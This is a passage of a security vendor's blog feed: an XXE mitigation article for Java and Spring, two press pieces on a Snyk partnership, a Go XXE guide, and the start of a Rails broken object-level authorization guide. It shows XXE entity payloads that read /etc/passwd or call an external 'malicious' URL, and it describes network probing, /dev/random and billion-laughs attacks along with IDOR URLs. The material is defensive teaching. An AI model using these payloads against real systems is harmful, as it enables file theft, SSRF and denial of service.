&lt;/p&gt;&lt;p&gt;In reference to this line in the example above &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;!DOCTYPE foo [ &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot;&amp;gt; ]&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;if the attacker replaces it with a call to an external URL, &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;!DOCTYPE foo [ &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://malicous-code.com&amp;quot;&amp;gt; ]&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;this will make the server call the URL address. &lt;/p&gt;&lt;p&gt;If we incorporate the response from this server further down the XML document, it essentially will cause the server to respond with the response from the malicious website and not the intended response. &lt;/p&gt;&lt;p&gt;In turn, this can cause serious implications for this application&amp;#39;s end user. &lt;/p&gt;&lt;p&gt;Consider a website that responds with a form to enter a username and password. If this form was generated due to an SSRF caused by an XXE, the attacker can get the website user&amp;#39;s credentials. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Mitigating XXE Vulnerability&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Now that we&amp;#39;ve discussed what XXE vulnerability is, let&amp;#39;s see how we can mitigate this risk in Java and Java Spring. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Java and XXE&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As said in the OWASP XXE &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html&quot;&gt;&lt;u&gt;cheatsheet&lt;/u&gt;&lt;/a&gt;, &amp;quot;Java applications using XML libraries are particularly vulnerable to XXE because the default settings for most Java XML parsers is to have XXE enabled. To use these parsers safely, you have to explicitly disable XXE in the parser you use.&amp;quot; &lt;/p&gt;&lt;p&gt;As previously said, XML parsers parse XML documents. To mitigate XXEs, we either need to validate all input, which can be time consuming and tedious, or disable parsing external properties in XML documents entirely. &lt;/p&gt;&lt;p&gt;Since most configurations in Java applications are now done with Java annotations and not XML, the rule of thumb recommendation for mitigating XXEs is to disable XXE processing entirely. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Java Spring&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Spring_Framework&quot;&gt;&lt;u&gt;Spring framework&lt;/u&gt;&lt;/a&gt; is a popular Java framework for developing enterprise and web applications. Originally created in 2005 by Pivotal, it&amp;#39;s still going strong today. &lt;/p&gt;&lt;p&gt;As XML was in its height of popularity around 2005, Spring originally based its configuration entirely on XML. The original Pivotal developers used XML throughout the system for everything from defining Java beans to configuring the database connection to defining object dependency injection. &lt;/p&gt;&lt;p&gt;Although the Pivotal developers have replaced XML configuration gradually in Spring in favor of Java-based annotations, it&amp;#39;s still fully supported and can be found in abundance in old Java enterprise applications. Hence, that explains the increased importance of mitigating XXE vulnerabilities in Java Spring. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Mitigating Spring XXE&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Luckily, Spring has XXE parsing disabled by default. This means that you&amp;#39;re covered in the vast majority of cases. However, there are two caveats to this statement: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;There are many XML parsers you can use in Java, and if you use an XML parser that doesn&amp;#39;t come bundled by default with Spring, you might need to manually disable XXE or carefully validate the input and make sure that you trust the source the entities come from.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Several versions of Spring had XXE vulnerabilities in the past. Basically, those versions had XXE enabled by default. So, if you&amp;#39;re using one of those versions, you need to upgrade as soon as possible to a patched version. As stated on the OWASP website, the affected versions are&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;3.0.0&lt;/b&gt; to &lt;b&gt;3.2.3&lt;/b&gt; (Spring OXM and Spring MVC),&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;4.0.0.M1&lt;/b&gt; (Spring OXM), and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;4.0.0.M1-4.0.0.M2&lt;/b&gt; (Spring MVC).&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To fully address these issues, you need to upgrade to Spring Framework 3.2.8+ or 4.0.2+. &lt;/p&gt;&lt;p&gt;Note that another way to avoid the XXE issue altogether is to use a different format for sending messages between multiple servers or between client and server. &lt;/p&gt;&lt;p&gt;In recent years, the most popular format is JSON, which doesn&amp;#39;t introduce these kind of vulnerabilities. Likewise, you can replace XML-based &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/soap-configuration.html&quot;&gt;&lt;u&gt;SOAP APIs&lt;/u&gt;&lt;/a&gt; with simple HTTP REST APIs, which don&amp;#39;t usually use XML. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;XML is a useful format for defining and representing structured data. As part of the XML standard, it&amp;#39;s possible to import entities from external resources. &lt;/p&gt;&lt;p&gt;Although this can be a useful feature, it also possesses a security risk. Malicious actors can inject their values into the XML, and if the server is not hardened, the system can become compromised. &lt;/p&gt;&lt;p&gt;Files can be stolen, and server response can be forged. Java applications are especially vulnerable to such attacks, as most Java XML parsers allow parsing XXE entries. &lt;/p&gt;&lt;p&gt;Spring is a popular Java framework. Fortunately, it comes with XXE parsing disabled. However, XXE was enabled in several Spring versions in the past. Lastly, if you use an XML parser other that the one built in with Spring, you&amp;#39;ll need to manually validate the input or disable XXE parsing.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Alexander Fridman. Alexander is a veteran in the software industry with over 11 years of experience. He worked his way up the corporate ladder and has held the positions of Senior Software Developer, Team Leader, Software Architect, and CTO. Alexander is experienced in frontend development and DevOps, but he specializes in backend development.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Snyk and StackHawk Announce Partnership to Provide Complete Modern Application Security Testing Suite ]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/snyk-and-stackhawk-press-release</guid><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;Complete application and API security test coverage requires the implementation of Dynamic Application Security Testing (DAST), Static Application Security Testing (SAST) and Software Composition Analysis (SCA). Historically, teams embracing DevSecOps by integrating automated security testing into the early phases of software delivery have been forced to choose between legacy platforms offering all three types of tooling, or implementing best-in-class point solutions. With this new partnership, engineering teams now have the possibility to seamlessly implement modern, developer-first tooling across all three types of testing. &lt;/p&gt;&lt;p&gt;“Software development has rapidly accelerated over the past decade and the majority of security tools on the market have not kept up,” said Joni Klippert, CEO, StackHawk. “When code is being pushed to production multiple times per day, security tools need to surface vulnerabilities early in the development process to the developer writing the code. By using StackHawk and Snyk together, teams get continuous security testing across their entire software delivery pipeline. This means shipping better quality code without sacrificing delivery times or interrupting sprints.” &lt;/p&gt;&lt;p&gt;The companies are now formalizing their partnership after seeing significant momentum across joint customers throughout 2021. For instance, &lt;a href=&quot;https://stackhawk.com/blog/breathe-life-chooses-stackhawk-and-snyk&quot;&gt;&lt;u&gt;Breathe Life&lt;/u&gt;&lt;/a&gt;, an insurtech startup, was looking for security tooling that could keep pace with its engineering team when it discovered StackHawk and Snyk’s complimentary offerings.&lt;/p&gt;&lt;p&gt;“We wanted security to be a shared responsibility across the organization. So we needed to provide our team with the tooling and best practices so all teams could do that,” said Francois Allard, Director of Engineering, Breathe Life. “With StackHawk and Snyk, I can breathe more and people on my team can breathe more. It allows us to have more confidence in what we&amp;#39;re building and that we don’t have those obvious vulnerabilities.” ”&lt;/p&gt;&lt;p&gt;“Snyk seeks to empower the millions of global developers that are building our future to also have the control via the right tools to secure it,” said Carey Stanton, SVP of Global Business and Corporate Development, Snyk. “By partnering with the talented StackHawk team, more modern DevSecOps teams worldwide will now benefit from easily implementing tooling designed for and by developers for DAST as well as SAST and SCA.”&lt;/p&gt;&lt;p&gt;Those interested in learning more about how the tools work together can see StackHawk and Snyk in Action by watching the webinar &lt;a href=&quot;https://youtu.be/PcbLvD70Mvg&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;b&gt;About StackHawk
&lt;/b&gt;StackHawk is making application security testing part of software delivery. The StackHawk platform empowers engineers to easily find and fix application security bugs at any stage of software development. With a strong founding team that has deep experience in security and DevOps, and some of the best venture investors in the business, StackHawk is putting application security testing into the hands of engineers. Learn more and sign up for a free trial at &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;&lt;u&gt;www.stackhawk.com&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;b&gt;About Snyk
&lt;/b&gt;Snyk is the leader in developer security. We empower the world’s developers to build secure applications and equip security teams to meet the demands of the digital world. Our developer-first approach ensures organizations can secure all of the critical components of their applications from code to cloud, leading to increased developer productivity, revenue growth, customer satisfaction, cost savings and an overall improved security posture. Snyk’s Developer Security Platform automatically integrates with a developer’s workflow and is purpose-built for security teams to collaborate with their development teams. Snyk is used by 1500+ customers worldwide today, including industry leaders such as Asurion, Google, Intuit, MongoDB, New Relic, Revolut and Salesforce.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Announcing StackHawk and Snyk’s New Partnership]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/announcing-stackhawk-and-snyks-new-partnership</guid><category><![CDATA[StackHawk News]]></category><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;Over two years ago, we founded StackHawk to bring application security into the world of continuous delivery. After spending more than a decade building SaaS DevOps solutions that enabled rapid software delivery, it was clear that application security was the next, most important, DevOps frontier. The StackHawk approach to AppSec sought to replace periodic penetration tests and siloed security departments with automation and a shared responsibility for secure code that spanned across engineering, DevOps, and security. &lt;/p&gt;&lt;p&gt;And so, we created StackHawk with the mission to empower engineers to easily find and fix application security vulnerabilities quickly with a modern approach to dynamic application security testing (DAST) and API security. &lt;/p&gt;&lt;p&gt;But, we weren’t the only ones that knew application security had to change. Our friends at &lt;a href=&quot;https://snyk.io&quot;&gt;&lt;u&gt;Snyk&lt;/u&gt;&lt;/a&gt; shared the vision of developer-first security, and they went on to create best-in-class software composition analysis (SCA) and static analysis (SAST) tools. Snyk’s products focus on identifying vulnerabilities by looking at the underlying code, whether looking for insecure coding patterns with SAST or vulnerable open source dependencies with SCA. StackHawk tests for runtime vulnerabilities, testing running application services and APIs the same way an outside attacker would. Together, the tools provide complementary testing for a more complete security picture.&lt;/p&gt;&lt;p&gt;In 2021, StackHawk and Snyk began informally to work together, enabling customers looking for a comprehensive suite of developer-centric application security testing tools. Over and over again, we heard from customers that StackHawk’s DAST and API security capabilities, in combination with Snyk’s offerings, provided a complete set of application security tooling today’s teams need. &lt;/p&gt;&lt;p&gt;After seeing significant momentum across joint customers over the past year, we are thrilled to announce that we have decided to formalize our partnership!&lt;/p&gt;&lt;h3&gt;StackHawk + Snyk: A Complete Package of Modern Application Security Testing Tools&lt;/h3&gt;&lt;p&gt;It is not uncommon for companies to employ a suite of security testing tools for complete coverage. According to &lt;a href=&quot;https://www.forrester.com/report/the-state-of-application-security-2021/RES164041&quot;&gt;&lt;u&gt;Forrester&lt;/u&gt;&lt;/a&gt;, teams that use SAST and DAST remediate findings 24.5 days faster than the average and teams that combine SAST and SCA scans remediate findings six days faster. &lt;/p&gt;&lt;p&gt;While legacy offerings in market may share the SAST and DAST acronyms, those tools were built to be operated in production by a security team, resulting in long scan times, vulnerabilities existing in production for months, and inefficient (and unacceptable) remediation times. It takes more than a mention of “shift left” on a marketing site to make it a reality. &lt;/p&gt;&lt;p&gt;StackHawk and Snyk are changing that with products that developers love and security teams trust. Here is what customers love about using StackHawk and Snyk together: &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Automated Testing in CI/CD&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;SCA, SAST, DAST and API Security can be automated in CI/CD, alerting developers of security issues early and catching issues before they are shipped to production. Used in combination, StackHawk and Snyk provide greater insight into the exploitability of potential vulnerabilities. When issues are found in the underlying code and are identified as exploitable with a dynamic test, they are clearly worth prioritizing.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Developer Friendly Functionality&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Developers are equipped with the information and tools they need to fix vulnerabilities quickly and get back to feature development. Historically, security issues have been identified by a siloed security team long after engineering wrote the code. Engineers would be tasked with fixing previously written code, derailing their planned work. StackHawk and Snyk together offer developers tooling that integrates into their workflow, letting them know when they have introduced an issue and equipping them with the tools to fix it quickly.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Testing for Modern Apps&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Snyk and StackHawk were both created for modern apps. Find and fix security bugs in microservices, backing APIs, and modern languages. It is no secret that software development is evolving at a rapid pace. Unfortunately, however, the majority of security tooling on the market was built for the software architectures of more than a decade ago. With modern development languages, microservice architectures, single page applications, and more, today’s software requires up-to-date tooling. Snyk and StackHawk together are leading the charge in their respective categories.&lt;/p&gt;&lt;h2&gt;So What’s Next?&lt;/h2&gt;&lt;p&gt;We are proud to have formalized our partnership with Snyk so we can continue working together to empower engineers and shift security into the hands of those who code. &lt;/p&gt;&lt;p&gt;In addition to our partnership, we are also thrilled to &lt;a href=&quot;https://stackhawk.com/blog/announcing-stackhawks-new-snyk-code-integration&quot;&gt;announce our new integration with Snyk&lt;/a&gt; that gives developers the ability to find, correlate, and fix application security issues more efficiently.&lt;/p&gt;&lt;p&gt;If you are looking for more information free to &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;&lt;u&gt;drop us a line&lt;/u&gt;&lt;/a&gt;. Or, &lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/4916491212795/WN_ldMmckPWS4eb6MgxSZs_-A&quot;&gt;register for our webinar&lt;/a&gt; on May 4 at 10 AM PT to see StackHawk and Snyk together in action.&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Golang XML External Entities Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/golang-xml-external-entities-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;XML External Entity (XXE) attacks can lead to a denial of service, loss of confidential information, and service outages due. XXE attacks help hackers snoop on systems and compromise critical data. They&amp;#39;re a form of &lt;a href=&quot;https://en.wikipedia.org/wiki/Code_injection&quot;&gt;&lt;u&gt;injection attack&lt;/u&gt;&lt;/a&gt; that takes advantage of applications that fail to protect themselves from malicious XML documents.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s look at Golang XML External Entities and how Go protects you from this kind of attack. &lt;/p&gt;&lt;h2&gt;XML External Entity Attacks&lt;/h2&gt;&lt;p&gt;XXE attacks inject applications with XML documents that refer to content that compromise the application&amp;#39;s safety or expected operation. In order to understand how these attacks work, we need to take a brief look at how we structure XML documents. &lt;/p&gt;&lt;p&gt;XML documents are made up of &lt;a href=&quot;https://www.w3.org/TR/xml/#sec-physical-struct&quot;&gt;&lt;u&gt;entities&lt;/u&gt;&lt;/a&gt;. Each entity contains or points to content. Entities that contain their content are &lt;b&gt;internal&lt;/b&gt;, while entities that point to content outside the document are &lt;b&gt;external. &lt;/b&gt;Some external entities use &lt;a href=&quot;https://en.wikipedia.org/wiki/Uniform_Resource_Identifier&quot;&gt;&lt;u&gt;URIs&lt;/u&gt;&lt;/a&gt; to refer to content or resources on the host system or a network, including the public Internet. Others refer to content in the document description, like dictionaries that map entities to terms. &lt;/p&gt;&lt;p&gt;XML external entity attacks use URIs that point to resources that either compromise the application with malicious content or steal confidential information by coercing the app into retrieving and supplying the attacker with files they shouldn&amp;#39;t be able to see. Or, they use entities to generate content that causes code to fail. &lt;/p&gt;&lt;h3&gt;XML External Entity Attacks&lt;/h3&gt;&lt;p&gt;XXE attacks can take many forms. Let&amp;#39;s go over a few more common ones, then see how they work (or not) in Go. &lt;/p&gt;&lt;h4&gt;File Retrieval Attacks&lt;/h4&gt;&lt;p&gt;External entities point at URIs, and one type of URI is a local file. The attack attempts to get the targeted application to return the contents of the file. Here&amp;#39;s a document that uses the URI for the passwd file on a Linux or macOS system:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The &lt;b&gt;DOCTYPE&lt;/b&gt; attribute declares that the Document Type Declaration (DTD) for this document follows. This DTD declares two &lt;b&gt;ELEMENTs&lt;/b&gt; that can contain any data type and an external &lt;b&gt;ENTITY &lt;/b&gt;that refers to &lt;b&gt;&amp;quot;file:///etc/passwd.&amp;quot;&lt;/b&gt; A &lt;b&gt;file://&lt;/b&gt; URI points to a file on the local system, so this entity is looking for &lt;b&gt;/etc/passwd.&lt;/b&gt; We can use this entity anywhere inside the new document by referring to its name; &lt;b&gt;&amp;amp;xxe;&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;Then, the body of the document puts the new entity inside the &lt;b&gt;foo&lt;/b&gt; and &lt;b&gt;bar&lt;/b&gt; tags. The final product would be the contents of the systems&amp;#39; password file inside an XML document. &lt;/p&gt;&lt;p&gt;The contents of the password on modern Linux and macOS systems won&amp;#39;t get you passwords, not even the hashed versions, since both systems have moved the hashed passwords out to a location that unprivileged users can&amp;#39;t see. But a list of valid users can be useful to snoopers, as are many other files that an unprivileged application can be tricked into retrieving for an attacker. &lt;/p&gt;&lt;h3&gt;Network Snooping Attacks&lt;/h3&gt;&lt;p&gt;Now that we have a template for creating external entities, we can reuse it for other attacks. &lt;/p&gt;&lt;p&gt;External entities can point at websites, too. So let&amp;#39;s imagine an attacker wants to learn about their target&amp;#39;s internal network: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If this attack works, it will place the contents of &lt;b&gt;https://192.168.1.1/login&lt;/b&gt; inside &lt;b&gt;&amp;lt;bar&amp;gt;&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;What if there&amp;#39;s no webserver there? Well, now that attacker knows that. What if there is, but &lt;b&gt;/login&lt;/b&gt; is a 404? Now the attacker knows to try a different set of URLs. What if the target&amp;#39;s internal network is &lt;b&gt;192.168.2 &lt;/b&gt;and not &lt;b&gt;192.168.1&lt;/b&gt;? That&amp;#39;s fine; the attacker can keep trying. &lt;/p&gt;&lt;h3&gt;Denial of Service Attacks&lt;/h3&gt;&lt;p&gt;You can disable or degrade a system with an XXE attack, too. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s look at a variation on a file retrieval attack: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki//dev/random&quot;&gt;&lt;u&gt;/dev/random&lt;/u&gt;&lt;/a&gt; file is a special file that generates random numbers based on system noise. It&amp;#39;s a &lt;a href=&quot;https://en.wikipedia.org/wiki/Blocking_(computing)&quot;&gt;&lt;u&gt;blocking&lt;/u&gt;&lt;/a&gt; file, which means it will not return data until an event it can use to generate a random number occurs. So, pointing an XML parser at it will often cause it to freeze. An attacker that sends a document like this over and over can disable a web service by blocking all of its input threads. &lt;/p&gt;&lt;h3&gt;XML Bombs&lt;/h3&gt;&lt;p&gt;Before we look at Golang, let&amp;#39;s look at one more type of attack. It uses XML parsing to cause a denial of service. &lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki/Billion_laughs_attack&quot;&gt;&lt;u&gt;billion laughs&lt;/u&gt;&lt;/a&gt; attack takes advantage of XML&amp;#39;s ability to nest entities. Here&amp;#39;s an example:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Let&amp;#39;s go through the process of loading this document: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The &lt;b&gt;lolz &lt;/b&gt;contains a &lt;b&gt;&amp;amp;lol9;&lt;/b&gt; entity.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;An &lt;b&gt;&amp;amp;lol9;&lt;/b&gt; entity contains 10 &lt;b&gt;&amp;amp;lol8;&lt;/b&gt; entities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Each &lt;b&gt;&amp;amp;lol8;&lt;/b&gt; entity contains 10 &lt;b&gt;&amp;amp;lol7; &lt;/b&gt;entities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Each &lt;b&gt;&amp;amp;lol7;&lt;/b&gt; entity contains 10 &lt;b&gt;&amp;amp;lol6; &lt;/b&gt;entities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Each &lt;b&gt;&amp;amp;lol6;&lt;/b&gt; entity contains 10 &lt;b&gt;&amp;amp;lol5; &lt;/b&gt;entities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Continue back to &lt;b&gt;&amp;amp;lol1;&lt;/b&gt; and you&amp;#39;ve expanded the &lt;b&gt;&amp;amp;lol9;&lt;/b&gt; entity to 109 &lt;b&gt;lols&lt;/b&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;As you can see, the billion laughs attack was named accurately. This construct adds a billion copies of &amp;quot;lol&amp;quot; to the XML document.  So, a relatively small XML document ends up gigabytes of memory when processed. &lt;/p&gt;&lt;h3&gt;Golang XML External Entity Attacks&lt;/h3&gt;&lt;p&gt;How do you protect yourself from XXE attacks in Golang? Let&amp;#39;s take a look. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s start with the file retrieval attack described above: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Here&amp;#39;s a simple Go program that parses the document: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This code will print out the name of each element as the parser reaches it. If the element contains text, it will print that next; then, it will print an element&amp;#39;s name when it reaches its end. The code also uses a simple CharsetReader to support ISO-8859-1. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s the output from the attempt to retrieve the password file:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Successfully Opened retrieval.xml&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;   
&amp;lt;foo&amp;gt;
    &amp;lt;bar&amp;gt;&amp;amp;xxe;&amp;lt;/bar&amp;gt;
&amp;lt;/foo&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Go&amp;#39;s XML parser didn&amp;#39;t expand the external entity! We get the same result if we run it against the snoop attack above. What&amp;#39;s happening here? &lt;/p&gt;&lt;p&gt;Golang&amp;#39;s XML decoder doesn&amp;#39;t process XML external entities, so these attacks don&amp;#39;t work. If you look at issues on Github, the decoder used to fail when it encountered them, &lt;a href=&quot;https://github.com/golang/go/issues/4196&quot;&gt;&lt;u&gt;but now it simply prints the entity name instead of failing.&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;So, let&amp;#39;s try the Billion Laughs attack. &lt;/p&gt;&lt;p&gt;Put this XML in a file named lulz.xml: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;And modify the Go code to open that file name. &lt;/p&gt;&lt;p&gt;&lt;code&gt;Successfully Opened lulz.xml&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;
&amp;lt;lolz&amp;gt;&amp;amp;lol9;&amp;lt;/lolz&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Not even a giggle! &lt;/p&gt;&lt;p&gt;So, Golang&amp;#39;s defense against external entity attacks is not to process external entities. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Wrapping up Golang and XXE Attacks&lt;/h3&gt;&lt;p&gt;This post discussed what XML external entities are and how hackers use them to attack web applications. Then we looked at how these attacks fair against Golang XML processing; not well. Golang&amp;#39;s XML decoder doesn&amp;#39;t process external entities at all. So, Go applications are resilient against XXE attacks. &lt;/p&gt;&lt;p&gt;But that doesn&amp;#39;t mean you can&amp;#39;t do more to protect your Go applications from attacks. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;Sign up for a free account&lt;/u&gt;&lt;/a&gt; and see how Stackhawk can help you secure your code today! &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Eric Goebelbecker. &lt;/i&gt;&lt;a href=&quot;http://ericgoebelbecker.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Eric&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; has worked in the financial markets in New York City for 25 years, developing infrastructure for market data and financial information exchange (FIX) protocol networks. He loves to talk about what makes teams effective (or not so effective!)&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rails Broken Object-Level Authorization Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rails-broken-object-level-authorization-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In this article, we&amp;#39;ll discuss rails broken object level authorization vulnerabilities and how bad actors use them to exploit your systems.&lt;/p&gt;&lt;p&gt;Firstly, we will define what broken object-level authorization is and how it differs from other authorization attacks. Then, we will provide some examples of the most commonly used broken object-level authorization attacks. Finally, we will leave you with some actionable steps and guidance to mitigate this threat and protect your systems.&lt;/p&gt;&lt;p&gt;By the end of this article, you&amp;#39;ll know what broken object-level authorization is and how it affects systems all over the net. Additionally, you will be able to spot vulnerable spots in your systems and have the knowledge and expertise to address them.&lt;/p&gt;&lt;p&gt;Before we start, we want to clarify that this article is aimed at Ruby on Rails developers. With that out of the way, let&amp;#39;s jump in.&lt;/p&gt;&lt;h2&gt;What Is Broken Object-Level Authorization?&lt;/h2&gt;&lt;p&gt;Before we address the big question, I think it&amp;#39;s essential that we understand what authorization is and the nuance behind it.&lt;/p&gt;&lt;p&gt;In the context of software security, authorization is the mechanism that provides or denies access to resources in a system. Its main job is to ensure that only the people and services authorized to access these resources (data, mainly) can do so. This means that without a proper and robust authorization mechanism, all data in a system is at high risk of falling into the wrong hands.&lt;/p&gt;&lt;p&gt;Authorization is sometimes confused with authentication since they serve a similar purpose in gatekeeping access. However, they are very different systems that are designed to fulfill roles beyond just access protection.&lt;/p&gt;&lt;p&gt;Authorization systems are basically the policy enforcement mechanism for your application. They provide the infrastructure to maintain confidence in the security of your system between users. On the other hand, authentication is mainly concerned with keeping non-users out.&lt;/p&gt;&lt;p&gt;Alright, now let&amp;#39;s address the big question. What is broken object-level authorization?&lt;/p&gt;&lt;p&gt;Broken object-level authorization, or BOLA, is a specific attack that targets weak or poorly implemented authorization mechanisms. It exploits endpoints that allow user input to retrieve objects (data) and have no user authorization validation.&lt;/p&gt;&lt;p&gt;In essence, an attacker can exploit your application whenever it doesn&amp;#39;t properly confirm that the user requesting a resource has ownership of the said object.&lt;/p&gt;&lt;h3&gt;How It Differs from Other Authorization Vulnerabilities&lt;/h3&gt;&lt;p&gt;This is different from other authorization attacks like, for example, broken authentication because the target is not to gain access to the system but to resources within the system.&lt;/p&gt;&lt;p&gt;In the case of BOLA attacks, the targets are the endpoints of APIs the attacker has access to.&lt;/p&gt;&lt;p&gt;Sadly, almost every business has APIs with some endpoints that are vulnerable to some form of broken object-level authorization. This is not unexpected given the sheer number of possible targets and configurations in the systems we depend on today.&lt;/p&gt;&lt;p&gt;That is why the OWASP named broken object-level authorization the most severe and most common API vulnerability today.&lt;/p&gt;&lt;p&gt;So far, we have mainly focused on addressing broken object-level authorization vulnerabilities in the context of APIs. And the reason is that these attacks primarily target back-ends and APIs accessible to users like mobile back-ends and services.&lt;/p&gt;&lt;h2&gt;Examples of Broken Object-Level Authorization Vulnerabilities&lt;/h2&gt;&lt;p&gt;Now that we have defined what broken object-level authorization is, let&amp;#39;s see some examples.&lt;/p&gt;&lt;p&gt;Mainly, there are two types of BOLA attacks:&lt;/p&gt;&lt;h3&gt;Targeting User ID&lt;/h3&gt;&lt;p&gt;When we set a vulnerable API endpoint to receive input from the user, an attacker can take advantage of poor implementations to retrieve resources. In this case, the endpoint will receive the provided user ID and try to access the user object.&lt;/p&gt;&lt;p&gt;A simple example of this attack would be something like the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;bigbank.com/myapi/statements/get_statements_for_user?user_id=666&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Targeting Object ID&lt;/h3&gt;&lt;p&gt;Following the same pattern, an endpoint that allows user input of objects to retrieve resources allows attackers another avenue to retrieve resources. However, in this case, the input is the object ID itself. The vulnerable API endpoint receives an object ID provided by an authenticated user and tries to access it.&lt;/p&gt;&lt;p&gt;An example of this attack would be the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;bigbank.com/myapi/transactions/download_pdf?transaction_id=1234&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;It is pretty clear what kind of trouble would arise if a user accessed our system&amp;#39;s transactions by mere guesswork. Therefore, although convenient, you should avoid this kind of practice at all costs.&lt;/p&gt;&lt;p&gt;As I have mentioned before in our &lt;a href=&quot;https://www.stackhawk.com/blog/nodejs-broken-object-level-authorization-guide-examples-and-prevention/&quot;&gt;NodeJS article on broken object-level authorization&lt;/a&gt;, &amp;quot;Many could argue that there are specific cases where data has no sensitive 